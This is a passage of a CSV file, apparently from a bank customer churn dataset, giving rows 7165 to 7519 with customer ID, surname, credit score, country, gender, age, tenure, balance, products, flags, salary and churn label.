+7165,15713983,Mao,780,Germany,Male,34,5,94108.54,2,1,0,177235.21,0 +7166,15709252,Fuller,616,Germany,Female,28,10,105173.99,1,0,1,29835.37,1 +7167,15699238,Craig,618,Spain,Female,40,8,0,2,1,0,80204.38,0 +7168,15732884,Trevisano,676,France,Male,29,7,131959.86,1,0,0,189268.81,0 +7169,15587297,Ruiz,507,France,Male,33,7,0,2,1,1,85411.01,0 +7170,15684722,Fraser,490,France,Male,34,5,122952.9,2,0,0,154360.97,0 +7171,15621244,Gallo,678,France,Male,36,0,107379.68,1,1,1,84460.18,0 +7172,15744273,Waterhouse,637,Germany,Male,30,6,122641.56,2,1,0,65618.01,0 +7173,15682540,Cremonesi,602,France,Female,33,8,0,2,1,1,112928.74,0 +7174,15636521,Feng,744,Spain,Female,30,1,124037.28,1,1,1,142210.94,0 +7175,15785339,H?,640,France,Female,50,9,117565.03,2,0,0,82559.77,0 +7176,15638983,Jara,684,France,Female,38,5,133189.4,1,0,0,127388.06,0 +7177,15654625,Wilson,495,Germany,Male,39,8,120252.02,2,1,1,10160.23,0 +7178,15697310,O'Callaghan,559,Germany,Female,28,3,152264.81,1,0,0,64242.31,0 +7179,15678210,Robson,684,France,Male,38,5,105069.98,2,1,1,198355.28,0 +7180,15575438,Pease,613,France,Male,42,7,115076.06,1,1,1,79323.61,0 +7181,15632789,Maclean,794,France,Male,30,8,0,2,1,1,24113.91,0 +7182,15621423,Lavrentyev,736,France,Female,42,7,117280.23,3,0,0,41921.06,1 +7183,15573520,Rhodes,692,Germany,Male,49,6,110540.43,2,0,1,107472.99,0 +7184,15740458,Murphy,703,Spain,Male,36,7,135095.47,1,1,0,143859.66,0 +7185,15762799,Alexander,720,Germany,Male,23,0,187861.18,2,1,1,104120.17,0 +7186,15686885,Nekrasov,777,Germany,Male,44,3,124655.59,2,0,1,79792.3,0 +7187,15565996,Arnold,653,France,Male,44,8,0,2,1,1,154639.72,0 +7188,15662152,Trevisan,552,France,Female,38,9,134105.01,1,0,0,57850.1,0 +7189,15711742,Mason,708,France,Female,34,4,0,1,1,1,62868.33,0 +7190,15701885,Tucker,647,France,Female,40,9,0,2,0,1,92357.21,0 +7191,15774262,Hobson,597,Germany,Male,52,8,83693.34,2,1,1,161083.53,0 +7192,15567839,Gordon,501,France,Male,42,9,114631.23,1,0,1,91429.74,0 +7193,15644400,Anderson,709,France,Male,44,9,128601.98,1,1,0,117031.2,0 +7194,15797246,Terry,621,Germany,Female,34,2,91258.52,2,1,0,44857.4,0 +7195,15778290,Lappin,799,France,Male,70,8,70416.75,1,1,1,36483.52,0 +7196,15708714,Santiago,675,France,Female,33,6,0,2,1,0,34045.61,0 +7197,15586183,Wallace,561,France,Female,35,5,0,2,1,0,59981.62,0 +7198,15761733,King,707,France,Female,42,10,0,2,1,1,152944.39,0 +7199,15773934,Fang,670,France,Male,33,6,88294.6,1,1,0,66979.06,0 +7200,15705343,May,649,Spain,Female,32,7,0,1,1,0,28797.32,0 +7201,15593959,Travis,524,France,Male,28,1,93577.3,1,1,1,51670.82,0 +7202,15664615,Nnachetam,689,Germany,Female,30,5,136650.89,1,1,1,41865.72,1 +7203,15671014,Zhdanova,573,Spain,Female,72,8,98765.84,1,1,1,96015.53,0 +7204,15657778,Jefferson,657,France,Male,33,1,84309.57,2,0,0,103914.4,0 +7205,15585192,Cremonesi,686,Spain,Male,39,10,136258.06,1,0,0,89199.51,0 +7206,15592914,Fang,683,France,Female,29,9,0,2,1,1,48849.89,0 +7207,15770995,Sinclair,753,Germany,Female,47,1,131160.85,1,1,0,197444.69,0 +7208,15570990,Begley,520,Spain,Female,30,4,145222.99,2,0,0,145160.96,0 +7209,15596165,Degtyarev,547,Germany,Male,25,4,98141.57,2,1,1,52309.8,0 +7210,15788131,Atkins,653,France,Male,47,6,0,1,1,0,50695.93,1 +7211,15800773,Ikenna,648,Spain,Female,28,9,102282.61,1,1,1,157891.11,0 +7212,15690153,Sun,639,France,Female,37,4,116121.84,2,0,1,181850.74,0 +7213,15638989,Lettiere,711,France,Female,25,5,190066.54,1,0,0,51345.39,1 +7214,15623210,Smith,484,Germany,Female,55,8,149349.58,3,0,0,137519.92,1 +7215,15652658,Finch,721,France,Male,36,1,155176.83,2,1,1,49653.37,0 +7216,15684440,Monaldo,548,Germany,Male,32,2,98986.28,1,1,1,55867.38,0 +7217,15730287,Ugonna,679,France,Male,41,8,147726.98,3,1,0,172749.4,1 +7218,15720353,Chiang,553,France,Male,41,1,0,2,1,0,90607.31,0 +7219,15767231,Sun,757,France,Male,36,7,144852.06,1,0,0,130861.95,0 +7220,15761554,Blackburn,581,France,Male,54,4,89299.81,1,0,0,5558.47,1 +7221,15706637,Chang,718,Spain,Male,40,9,0,2,0,0,121537.91,0 +7222,15690492,Palermo,625,France,Male,41,6,97663.16,2,1,0,57128.78,0 +7223,15694237,McEwan,744,Spain,Male,39,4,95161.75,1,1,0,19409.77,0 +7224,15729771,Davide,799,Germany,Male,31,9,154586.92,1,0,1,88604.89,1 +7225,15609823,Chieloka,751,Spain,Female,34,8,127095.14,2,0,0,479.54,0 +7226,15793366,Humphreys,781,Germany,Male,35,7,92526.15,2,1,1,173837.54,0 +7227,15614813,Cocci,777,Germany,Female,46,0,107362.8,1,1,0,487.3,0 +7228,15566495,Hanson,704,Spain,Female,24,2,0,1,1,0,35600.25,1 +7229,15707602,Macleod,539,France,Female,47,2,127286.04,2,1,1,166929.43,1 +7230,15635244,Ritchie,716,France,Female,29,6,0,2,1,1,98998.61,0 +7231,15805627,Nebechukwu,670,France,Male,37,2,0,2,1,1,54229.74,0 +7232,15607986,Nnamutaezinwa,555,France,Male,40,10,139930.18,1,1,1,105720.09,0 +7233,15799785,Ikemefuna,679,Germany,Female,30,4,77949.69,1,1,1,121151.46,0 +7234,15699963,Scott,571,France,Male,38,1,121405.04,1,1,1,154844.22,0 +7235,15624595,Chiang,512,Spain,Female,35,5,124580.69,1,1,1,18785.48,0 +7236,15629750,Artyomova,697,France,Male,35,5,133087.76,1,1,0,64771.61,0 +7237,15651460,Hsieh,424,Spain,Male,34,7,0,1,1,1,16250.61,0 +7238,15753550,Levien,684,France,Female,43,7,0,2,1,0,131093.99,0 +7239,15594133,Erskine,697,Spain,Male,62,7,0,1,1,0,129188.18,1 +7240,15772329,Fiorentino,580,Germany,Male,45,8,103741.14,1,1,0,47428.73,1 +7241,15591552,Okonkwo,600,France,Female,32,7,98877.95,1,1,0,132973.21,0 +7242,15750921,Monds,521,France,Male,37,5,105843.26,2,1,1,84908.2,0 +7243,15701687,Campbell,664,Spain,Male,44,7,77526.66,3,0,0,57338.56,1 +7244,15728906,Ibekwe,634,France,Male,77,5,0,2,1,1,161579.85,0 +7245,15670029,Marcelo,445,France,Female,33,7,0,2,1,0,122625.68,0 +7246,15763579,Castro,702,Germany,Female,36,2,105264.88,2,1,1,52909.87,0 +7247,15728010,Capon,485,France,Male,37,5,0,2,0,1,170226.47,0 +7248,15663194,Voronova,582,Germany,Female,40,3,110150.43,1,1,1,191757.65,1 +7249,15736510,Loggia,605,Spain,Female,57,2,0,3,1,0,66652.75,1 +7250,15745804,Law,628,France,Male,25,7,0,2,1,1,195977.75,0 +7251,15631451,Grant,604,Spain,Female,28,6,0,2,1,1,69056.26,0 +7252,15746995,Greco,724,Germany,Male,31,9,138166.3,1,1,0,12920.43,0 +7253,15730673,Dietz,567,Germany,Male,40,7,122265.24,1,1,0,138552.74,0 +7254,15734649,Martel,779,Spain,Female,55,0,133295.98,1,1,0,22832.71,1 +7255,15701081,Jarvis,785,France,Male,36,2,0,1,0,1,61811.1,0 +7256,15632503,Meng,563,France,Female,32,0,148326.09,1,1,0,191604.27,1 +7257,15585928,Hay,821,Germany,Female,31,2,68927.57,1,1,1,25445,0 +7258,15648681,Voronoff,747,France,Female,47,5,139914.6,4,0,1,129964.56,1 +7259,15747757,Trevascus,600,Germany,Female,58,8,118723.11,1,0,0,6209.51,1 +7260,15718921,Ho,625,Spain,Male,32,7,106957.28,1,1,1,134794.02,0 +7261,15571081,Hansen,773,France,Female,41,7,190238.93,1,1,1,57549.65,0 +7262,15734578,Craig,726,France,Female,53,1,113537.73,1,0,1,28367.21,0 +7263,15579583,Hall,641,Spain,Female,40,4,101090.27,1,1,1,51703.09,0 +7264,15622729,Sun,649,France,Female,46,2,0,2,1,1,66602.7,0 +7265,15662189,Durant,434,Spain,Male,33,3,0,1,1,1,2739.71,0 +7266,15692718,Jackson,738,France,Female,38,7,0,2,0,0,69227.42,0 +7267,15762716,Chigozie,762,Spain,Female,60,10,168920.75,1,1,0,31445.03,1 +7268,15724851,Farmer,507,Germany,Male,31,9,111589.67,1,1,0,150037.19,0 +7269,15587266,Douglas,606,Germany,Female,27,6,172310.33,1,0,1,111448.92,0 +7270,15675926,Ardis,655,Germany,Male,34,7,118028.35,1,1,0,51226.32,1 +7271,15706268,Smith,697,Germany,Male,51,1,147910.3,1,1,1,53581.14,0 +7272,15581871,Butler,504,Germany,Male,42,7,131287.36,2,1,1,149697.78,0 +7273,15666166,Pettry,653,France,Female,74,0,121276.32,1,1,1,160348.31,0 +7274,15671582,John,660,Spain,Male,38,6,109869.32,1,1,1,154641.91,0 +7275,15680901,Potter,652,France,Female,34,6,97435.85,2,1,1,104331.76,0 +7276,15642336,Shaw,669,France,Female,42,9,0,2,0,0,135630.32,0 +7277,15653147,Boyle,594,France,Male,35,2,133853.27,1,1,1,65361.66,0 +7278,15571284,Elmore,756,Germany,Male,32,0,109528.16,2,1,1,56176.31,0 +7279,15591360,Udinesi,642,France,Female,33,4,84607.34,2,0,1,60059.47,0 +7280,15810485,Sun,486,Germany,Male,37,1,101438,1,0,0,51364.56,0 +7281,15611973,Tuan,804,France,Male,55,7,0,2,1,1,118752.6,0 +7282,15735572,Lawrence,629,France,Male,59,9,113657.83,1,1,1,116848.79,1 +7283,15567860,Burrows,581,Spain,Female,44,7,189318.16,2,1,0,45026.23,1 +7284,15795690,Shao,667,France,Male,31,3,99513.91,1,1,1,189657.26,0 +7285,15706464,White,667,Spain,Male,35,4,97585.32,2,0,0,57213.46,0 +7286,15725028,Chialuka,679,France,Male,29,3,0,2,1,1,63687.06,0 +7287,15751167,Toscano,680,France,Female,43,4,0,2,1,1,58761.33,0 +7288,15633944,McKay,644,Spain,Male,32,3,136659.74,1,1,1,14187.78,0 +7289,15672637,Voronkov,571,France,Female,30,4,85755.86,1,1,0,145115.95,0 +7290,15680895,Sal,627,Spain,Female,35,7,0,1,1,0,187718.26,0 +7291,15793825,Ikechukwu,536,France,Male,39,4,0,2,1,0,27150.35,0 +7292,15611318,Kruglova,599,Spain,Male,33,4,51690.89,1,1,0,111622.76,1 +7293,15768474,Clements,744,Spain,Male,34,3,0,2,1,0,27244.35,0 +7294,15716276,Kennedy,709,France,Female,34,2,111669.68,1,1,0,57029.66,0 +7295,15623668,Johnson,653,Germany,Male,31,2,154741.45,2,0,0,25183.01,0 +7296,15696361,Chung,648,Germany,Male,31,7,125681.51,1,0,1,129980.93,0 +7297,15607988,Garland,663,Germany,Female,37,8,155303.71,1,1,0,118716.63,0 +7298,15637891,Docherty,613,Germany,Female,43,4,140681.68,1,0,1,20134.07,0 +7299,15789865,Nnaife,620,France,Male,28,9,71902.52,1,0,1,190208.23,0 +7300,15627190,Lettiere,661,France,Male,51,6,146606.6,1,1,1,68021.9,0 +7301,15788224,Sanderson,669,Germany,Male,45,1,123949.75,1,0,0,110881.56,0 +7302,15702149,Fomin,767,Germany,Female,33,1,144753.21,1,1,1,132480.75,0 +7303,15708236,Wright,491,France,Female,72,6,91285.22,1,1,1,7032.95,0 +7304,15568469,Buckley,653,France,Male,43,0,0,2,1,0,27862.58,0 +7305,15764444,Pan,679,Germany,Male,58,8,125850.53,2,1,1,87008.17,0 +7306,15794204,Manna,687,France,Male,28,7,108116.66,1,1,1,27411.19,0 +7307,15807546,Chinwendu,837,France,Female,38,2,0,2,1,1,46395.21,0 +7308,15782159,Ndubuagha,850,France,Male,28,8,67639.56,2,1,1,194245.29,0 +7309,15618703,White,663,Spain,Female,53,6,150200.23,1,0,1,151317.27,1 +7310,15793317,Hale,547,Spain,Female,22,7,141287.15,1,1,0,118142.79,0 +7311,15740487,Ross,627,France,Female,41,6,0,3,1,1,138700.75,1 +7312,15722479,Ikenna,707,France,Male,37,1,0,2,0,1,6035.51,0 +7313,15688264,Nkemdilim,629,France,Female,43,0,0,2,1,1,41263.69,0 +7314,15583067,McMillan,687,France,Female,36,4,97157.96,1,0,1,63185.05,0 +7315,15686670,Duke,588,France,Female,36,2,0,2,1,0,92536,1 +7316,15593345,Bradbury,502,Germany,Female,33,6,125241.17,2,1,1,158736.07,0 +7317,15811690,Bayley,793,Germany,Male,54,2,128966.13,1,0,0,18633.4,1 +7318,15734008,Bartlett,727,Germany,Male,59,5,152581.06,1,1,0,71830.1,1 +7319,15771856,Cremin,632,Spain,Female,32,1,0,2,1,0,19525.65,0 +7320,15762045,Gilchrist,474,Germany,Female,37,5,142688.57,2,1,1,110953.33,0 +7321,15778142,Shih,850,Germany,Female,31,1,130089.56,2,1,1,4466.21,0 +7322,15689268,Fitzpatrick,584,France,Male,36,9,0,1,1,1,105818.51,0 +7323,15721507,Pagan,713,France,Female,32,1,117094.02,1,0,0,149558.83,1 +7324,15750476,Hendrick,742,Spain,Male,24,8,0,2,1,0,4070.28,0 +7325,15810723,Sanderson,607,France,Female,39,10,0,3,1,0,132741.13,1 +7326,15787229,Samsonova,761,Spain,Female,34,2,0,2,1,0,61251.25,0 +7327,15570508,Azubuike,600,France,Male,49,7,90218.9,1,1,0,91347.76,0 +7328,15617065,Pan,650,Spain,Male,42,4,194532.66,1,1,0,171045.31,1 +7329,15689786,Massie,850,Germany,Male,56,1,169743.83,1,0,0,155850.4,1 +7330,15648876,Sandover,501,France,Female,34,5,0,1,1,0,27380.99,0 +7331,15802106,Craig,418,France,Male,34,8,155973.88,1,1,0,154208.96,0 +7332,15773869,Onwudiwe,797,Spain,Male,59,4,129321.44,1,1,1,93624.55,0 +7333,15711635,Chu,788,Germany,Female,42,6,138650.49,2,1,0,64746.07,0 +7334,15795527,Zetticci,699,Spain,Male,43,2,136487.86,2,1,0,82815.93,0 +7335,15759133,Vaguine,616,France,Male,18,6,0,2,1,1,27308.58,0 +7336,15679394,Owen,651,France,Female,41,4,38617.2,1,1,1,104876.8,0 +7337,15801072,Hurst,654,France,Female,28,7,0,2,1,0,151316.37,0 +7338,15646082,Harding,676,France,Female,34,8,82909.14,1,1,0,91817.38,1 +7339,15796111,Smith,708,Germany,Female,54,8,145151.4,1,0,1,125311.17,1 +7340,15670646,Moore,499,Spain,Female,42,0,147187.84,1,1,1,14868.94,1 +7341,15578722,Bradley,689,France,Male,39,4,0,2,1,0,196112.45,0 +7342,15815095,Burfitt,850,Spain,Male,54,7,108185.81,2,0,0,24093.4,1 +7343,15730360,Mackenzie,502,France,Male,30,4,0,2,1,1,66263.87,0 +7344,15763194,Milanesi,643,France,Male,34,7,0,2,0,1,100304.13,0 +7345,15720725,Shubin,762,France,Male,28,2,0,2,1,0,167909.52,0 +7346,15567834,Nieves,719,France,Male,49,5,105918.1,1,1,1,16246.59,0 +7347,15720644,Martin,789,France,Male,27,6,0,2,1,0,103603.65,0 +7348,15811742,Jen,553,Spain,Male,42,7,0,2,1,0,7680.23,0 +7349,15813363,Woods,448,Spain,Male,25,2,0,2,0,0,95215.73,0 +7350,15717629,Docherty,632,Germany,Male,42,6,59972.26,2,0,1,148172.94,0 +7351,15713160,Lin,669,Spain,Male,25,7,157228.61,2,1,0,124382.9,0 +7352,15568878,Cheng,654,Spain,Male,34,5,0,2,1,0,159311.46,0 +7353,15809800,Korovina,726,France,Female,38,4,0,2,0,0,6787.48,0 +7354,15736420,Macdonald,596,France,Male,21,4,210433.08,2,0,1,197297.77,1 +7355,15757933,Hardy,733,Germany,Female,30,1,102452.71,1,1,0,21556.95,0 +7356,15623072,Shaw,529,Spain,Female,35,5,0,2,1,0,56518,0 +7357,15683993,Knight,493,France,Female,37,8,142987.46,2,1,0,158840.99,0 +7358,15570947,Bruny,615,Spain,Female,29,7,143330.56,2,1,1,126396.01,0 +7359,15797767,Ikedinachukwu,600,France,Female,49,6,0,1,0,1,148087.88,1 +7360,15731989,Moran,666,France,Male,36,4,120165.4,2,1,0,33701.5,0 +7361,15591035,Macleod,644,Spain,Male,54,6,0,1,0,1,84622.37,0 +7362,15586479,Yin,692,France,Female,36,4,0,1,1,0,185580.89,1 +7363,15605872,Felix,707,France,Male,73,6,66573.17,1,1,1,62768.8,0 +7364,15666012,Rippey,603,France,Male,40,4,102833.46,2,1,1,38829.11,0 +7365,15641733,Mishina,671,France,Female,34,5,164757.56,1,1,0,110748.88,0 +7366,15593178,Graham,568,Spain,Female,36,10,153610.61,1,1,1,54083.8,1 +7367,15649183,Johnston,598,Spain,Female,35,8,0,3,0,1,88658.73,0 +7368,15736399,Korovin,606,Spain,Male,42,10,0,2,1,0,177938.52,0 +7369,15751137,Lei,850,Germany,Female,36,3,169025.83,1,1,0,174235.06,0 +7370,15757188,Chimaijem,644,Spain,Female,26,4,153455.72,2,1,1,82696.84,0 +7371,15726167,Scott,655,France,Male,37,4,0,2,1,1,142415.97,0 +7372,15624850,Grant,850,France,Male,30,10,153972.89,2,1,0,62811.03,0 +7373,15717700,McIntyre,683,Spain,Male,34,9,114609.55,2,0,1,25339.29,0 +7374,15716347,Griffin,663,Germany,Male,37,7,143625.83,2,0,1,176487.05,0 +7375,15696287,Converse,682,Germany,Female,38,1,116520.28,1,1,1,49833.5,1 +7376,15638871,Ch'ang,639,France,Male,77,6,80926.02,2,1,1,55829.25,0 +7377,15765093,Coates,704,France,Male,23,6,166594.78,1,1,1,155823.2,0 +7378,15592999,Reid,691,France,Female,40,0,115465.98,1,1,1,60622.61,0 +7379,15641715,Ts'ui,599,France,Male,34,8,0,2,1,1,174196.68,0 +7380,15607746,Belstead,573,France,Female,36,1,0,1,1,1,56905.38,0 +7381,15625311,Dickinson,589,Germany,Female,41,7,92618.62,1,1,1,101178.85,0 +7382,15573077,Nwora,620,Germany,Female,25,8,141825.88,1,1,1,73857.94,1 +7383,15735106,Bishop,647,Spain,Male,28,6,149594.02,2,1,0,102325.19,0 +7384,15672912,Loggia,737,Spain,Female,39,7,130051.66,2,0,0,55356.39,1 +7385,15589881,Rowe,634,France,Female,41,7,0,2,1,1,131284.93,0 +7386,15660144,Balashov,660,France,Male,38,4,0,2,0,0,88080.43,0 +7387,15664083,Ulyanova,666,Germany,Female,37,2,158468.76,1,0,1,93266.01,0 +7388,15690898,Bogolyubova,696,France,Male,44,8,161889.79,1,0,0,75562.47,0 +7389,15808023,Remington,836,France,Female,29,9,133681.78,1,1,1,153747.73,0 +7390,15676909,Mishin,667,Spain,Female,34,5,0,2,1,0,163830.64,0 +7391,15764922,Tu,596,Spain,Male,20,3,187294.46,1,1,0,103456.47,0 +7392,15766734,Castiglione,430,France,Male,31,5,0,1,1,0,95655.16,0 +7393,15795079,Nnaife,596,Spain,Male,67,6,0,2,1,1,138350.74,0 +7394,15757434,Yang,599,France,Male,28,7,119706.22,1,0,0,31190.42,0 +7395,15673747,Ayers,519,France,Female,22,8,0,1,0,1,167553.06,0 +7396,15808386,Cocci,721,Germany,Female,45,7,138523.2,1,0,0,59604.45,1 +7397,15603565,Mackenzie,603,Spain,Female,56,5,90778.76,2,1,0,162223.67,1 +7398,15744044,Fiorentini,572,Germany,Male,47,4,99353.42,1,1,0,196549.85,1 +7399,15577771,Akabueze,453,Germany,Female,40,1,111524.49,1,1,1,120373.84,1 +7400,15769548,Hyde,668,France,Female,37,7,128645.67,1,1,0,92149.64,0 +7401,15802071,Levi,762,Germany,Male,35,1,117458.51,1,0,1,178361.48,1 +7402,15677395,Nwabugwu,633,France,Female,39,9,129189.15,2,0,0,170998.83,0 +7403,15632010,Chia,647,Spain,Male,33,7,121260.19,2,1,0,77216.48,0 +7404,15779492,Trevisano,796,Spain,Male,56,6,94231.13,1,0,0,121164.6,1 +7405,15694677,Bennetts,733,France,Male,39,1,0,2,1,1,141841.31,0 +7406,15704315,Teng,556,France,Male,34,8,163757.06,1,1,1,104000.06,0 +7407,15742009,Hsueh,489,Spain,Male,58,4,0,2,1,1,191419.32,0 +7408,15766663,Mahmood,639,France,Male,22,4,0,2,1,0,28188.96,0 +7409,15742297,Sinclair,715,France,Male,35,2,141005.47,1,1,1,60407.93,0 +7410,15688059,Chin,807,Germany,Female,42,9,105356.09,2,1,1,130489.37,0 +7411,15752344,She,714,Spain,Male,34,5,0,2,1,0,193040.32,0 +7412,15698749,He,626,Germany,Female,23,6,85897.95,1,1,0,109742.8,0 +7413,15631693,Hill,697,France,Male,36,7,0,2,1,1,74760.32,0 +7414,15604536,Vachon,850,Germany,Female,31,4,164672.66,1,0,1,61936.1,0 +7415,15802869,Ball,737,Germany,Female,45,2,99169.67,2,1,1,78650.95,0 +7416,15635598,Hsieh,812,France,Male,29,6,0,2,0,0,168023.6,0 +7417,15592326,Baker,583,France,Male,36,8,0,2,0,1,5571.59,0 +7418,15736533,Monaldo,730,Germany,Female,37,5,124053.03,1,1,0,118591.67,0 +7419,15647191,Lucchesi,677,France,Male,36,4,0,2,1,0,7824.31,0 +7420,15622507,Hamilton,748,Germany,Female,40,3,103499.09,2,0,0,38153.19,0 +7421,15765487,Kuo,753,Germany,Female,38,9,151766.71,1,1,1,180829.99,0 +7422,15646521,Fan,634,Spain,Female,36,1,0,1,1,1,143960.72,0 +7423,15746258,Wright,622,France,Male,29,7,101486.96,1,1,1,8788.35,0 +7424,15692430,Milano,699,Germany,Male,36,2,123601.56,2,1,0,103557.85,0 +7425,15625501,Wall,570,Germany,Male,38,1,127201.58,1,1,0,147168.28,1 +7426,15640521,Chidumaga,552,Germany,Male,33,3,144962.74,1,1,0,58844.84,1 +7427,15790630,Olisaemeka,619,France,Female,48,4,0,1,0,0,18094.96,1 +7428,15664720,Kovalyova,714,Spain,Male,33,8,122017.19,1,0,0,162515.17,0 +7429,15750055,Onio,503,Spain,Male,32,9,100262.88,2,1,1,157921.25,0 +7430,15644878,Hill,685,Spain,Female,43,6,117302.62,1,0,0,68701.73,0 +7431,15754578,Okeke,606,France,Female,35,0,135984.15,2,1,0,186778.89,0 +7432,15705379,Upjohn,678,France,Male,38,3,0,2,1,0,66561.6,0 +7433,15761047,H?,724,Germany,Male,31,2,160997.54,2,0,1,64831.36,0 +7434,15671293,Marcus,779,Germany,Female,37,2,128389.63,1,1,1,6589.16,1 +7435,15687527,Yobachukwu,638,Spain,Male,35,1,0,2,1,0,165370.66,0 +7436,15647898,Russell,610,Spain,Female,50,5,130554.51,3,1,0,184758.17,1 +7437,15671534,Hovell,646,Germany,Female,57,6,90212,1,1,0,13911.27,1 +7438,15591248,Chukwumaobim,628,France,Female,29,9,71996.29,1,1,1,34857.46,0 +7439,15676156,Boyle,528,France,Female,32,4,85615.66,2,1,0,156192.43,0 +7440,15812918,Scott,432,France,Female,27,6,62339.81,2,0,0,53874.67,0 +7441,15604130,Johnstone,622,Spain,Female,47,6,142319.03,1,0,0,100183.05,0 +7442,15700549,Alvares,721,France,Male,54,5,0,2,1,1,4493.12,0 +7443,15715519,McDavid,614,Spain,Male,36,5,0,2,1,0,130610.78,0 +7444,15707042,Dellucci,634,France,Female,24,2,87413.19,1,1,0,63340.65,0 +7445,15605276,Brothers,742,France,Female,29,4,0,2,1,1,180066.59,0 +7446,15630592,Sanders,516,France,Female,45,4,0,1,1,0,95273.73,1 +7447,15636626,Morrison,718,France,Male,35,3,97560.16,1,1,1,53511.74,0 +7448,15740411,Molle,636,Germany,Male,30,8,141787.31,2,1,1,109685.61,0 +7449,15593834,Genovese,691,Spain,Male,36,7,129934.64,1,0,0,75664.56,1 +7450,15804235,Zetticci,698,France,Female,37,2,166178.02,2,1,1,71972.95,0 +7451,15679801,Hsueh,712,Spain,Female,39,5,163097.55,2,1,1,23702.42,0 +7452,15673907,Alexander,659,France,Male,20,8,0,2,0,0,112572.02,0 +7453,15636562,Muravyova,573,Spain,Male,44,8,0,2,0,0,62424.46,0 +7454,15702571,Wright,778,Germany,Female,35,1,151958.19,3,1,1,131238.37,1 +7455,15627365,Calabresi,732,France,Male,46,0,0,2,1,1,184350.78,0 +7456,15748499,Johnson,550,Germany,Male,33,4,118400.91,1,0,1,13999.64,1 +7457,15598614,Lucchesi,790,Spain,Male,20,8,0,2,1,0,168152.76,0 +7458,15668889,Galgano,665,Germany,Female,43,2,116322.27,4,1,0,35640.12,1 +7459,15800049,Grigoryeva,728,Spain,Female,43,5,0,1,1,1,120088.17,0 +7460,15583724,Raymond,645,Spain,Female,29,4,0,2,1,1,74346.11,0 +7461,15622083,Paterson,647,Germany,Male,30,6,143138.91,2,1,0,2955.46,0 +7462,15645571,Genovese,596,Spain,Male,32,4,0,2,0,1,146504.35,0 +7463,15598266,Martin,610,France,Male,40,9,0,1,1,1,149602.54,0 +7464,15667934,Moretti,512,France,Male,36,0,129804.17,1,1,0,53020.9,0 +7465,15569682,Leckie,768,Germany,Male,37,9,108308.11,1,1,0,41788.25,1 +7466,15772941,Lane,666,Germany,Male,30,3,110153.27,1,0,1,74849.46,0 +7467,15586174,Brodney,700,Germany,Female,30,4,116377.48,1,1,1,134417.31,0 +7468,15803682,Angelo,651,Germany,Female,37,10,117791.06,2,1,1,75837.58,0 +7469,15627328,Millar,542,Spain,Female,26,2,0,2,1,1,54869.54,0 +7470,15717065,Balashov,686,France,Female,35,8,105419.73,1,1,0,35356.46,0 +7471,15602456,Afanasyev,850,Germany,Female,47,4,99219.47,2,1,1,122141.13,0 +7472,15721569,Chialuka,658,Germany,Female,55,8,119327.93,1,0,1,119439.66,0 +7473,15573798,Yermolayev,448,France,Female,36,6,83947.12,2,1,0,81999.53,0 +7474,15638272,Tien,609,Spain,Male,32,4,99883.16,1,1,1,120594.85,0 +7475,15799859,Lucchesi,704,France,Male,50,4,165438.26,1,1,0,120770.75,1 +7476,15599152,Lai,698,France,Male,31,1,156111.24,1,0,0,134790.74,0 +7477,15737909,Bates,759,France,Male,44,2,111095.58,2,1,0,100137.7,0 +7478,15646190,Saunders,677,France,Female,56,0,119963.45,1,0,0,158325.87,1 +7479,15711249,Chukwuemeka,544,Spain,Male,22,4,0,2,1,0,70007.67,0 +7480,15671987,Meagher,567,Spain,Male,35,8,153137.74,1,1,0,88659.07,0 +7481,15812766,Golubeva,490,Spain,Male,40,6,156111.08,1,0,0,190889.13,0 +7482,15778589,Collier,626,France,Male,34,7,113014.7,2,1,1,56646.28,0 +7483,15750104,Chan,718,Germany,Male,43,5,132615.73,2,1,0,32999.1,0 +7484,15784526,Chen,616,France,Male,44,5,102016.38,1,0,1,178235.37,1 +7485,15646563,Wright,772,France,Female,35,9,0,1,0,1,25448.31,0 +7486,15744423,Cocci,561,France,Male,32,5,0,2,1,0,84871.99,0 +7487,15593694,Williams,814,France,Male,49,8,0,2,0,0,157822.54,0 +7488,15785367,McGuffog,651,France,Female,56,4,0,1,0,0,84383.22,1 +7489,15687765,Chukwujamuike,538,Germany,Female,42,4,80380.24,1,1,0,119216.46,0 +7490,15789014,Scott,600,France,Female,26,6,108909.12,1,1,0,82547.01,0 +7491,15703177,Bell,654,France,Female,35,2,90865.8,1,1,1,86764.46,0 +7492,15660263,Olisaemeka,622,France,Male,40,4,99799.76,2,1,0,197372.13,0 +7493,15776545,Napolitani,682,France,Male,28,10,200724.96,1,0,1,82872.64,1 +7494,15683276,Sargood,610,Spain,Female,37,10,140363.95,2,1,1,129563.86,0 +7495,15599272,Harrington,795,France,Female,36,1,151844.64,1,1,1,135388.89,0 +7496,15589541,Sutherland,557,France,Female,27,2,0,2,0,1,4497.55,0 +7497,15608804,Allan,824,Germany,Male,49,8,133231.48,1,1,1,67885.37,0 +7498,15645820,Folliero,698,France,Male,27,7,0,2,1,0,111471.55,0 +7499,15659031,Mordvinova,630,France,Female,36,8,126598.99,2,1,1,134407.93,0 +7500,15790113,Schofield,609,Germany,Female,71,6,113317.1,1,1,0,108258.22,1 +7501,15652289,Williams,694,France,Male,47,4,0,2,1,0,197528.62,0 +7502,15605341,Baird,681,France,Female,58,8,93173.88,1,1,1,139761.25,0 +7503,15697844,Whitehouse,721,Spain,Female,32,10,0,1,1,0,136119.96,1 +7504,15652048,Thompson,563,Germany,Male,44,7,105007.31,2,1,1,197812.16,0 +7505,15587038,Ogochukwu,654,Spain,Female,32,2,0,1,1,1,51972.92,1 +7506,15660528,Niu,659,Spain,Male,27,4,0,2,1,0,99341.87,0 +7507,15700300,Okoli,674,Germany,Female,44,4,131593.85,1,0,1,171345.02,1 +7508,15642001,Lorenzen,576,Germany,Male,44,9,119530.52,1,1,0,119056.68,1 +7509,15580366,Okechukwu,566,Germany,Male,54,4,118614.6,2,1,1,172601.62,0 +7510,15657228,Anderson,545,Germany,Male,37,9,95829.13,2,0,1,104936.88,0 +7511,15729377,Ku,798,France,Male,36,1,0,2,1,1,159044.1,0 +7512,15686913,Kung,757,France,Male,38,0,0,1,1,0,83263.06,0 +7513,15631267,Lu,641,France,Male,50,6,153590.73,2,1,1,130910.78,0 +7514,15632275,Trevisano,718,France,Male,29,2,0,1,1,0,126336.72,0 +7515,15715907,Onwubiko,699,France,Male,64,9,113109.52,1,1,0,27980.8,1 +7516,15764841,Vidler,623,France,Female,35,0,130557.24,1,1,1,47880.71,0 +7517,15748649,Shen,644,France,Male,40,8,93183.19,1,1,0,73882.49,0 +7518,15771409,McGregor,586,France,Male,58,7,151933.63,1,1,0,162960.05,1 +7519,15779207,Nnamdi,500,Germany,Male,30,2,125495.64,2,1,1,68807.47,0 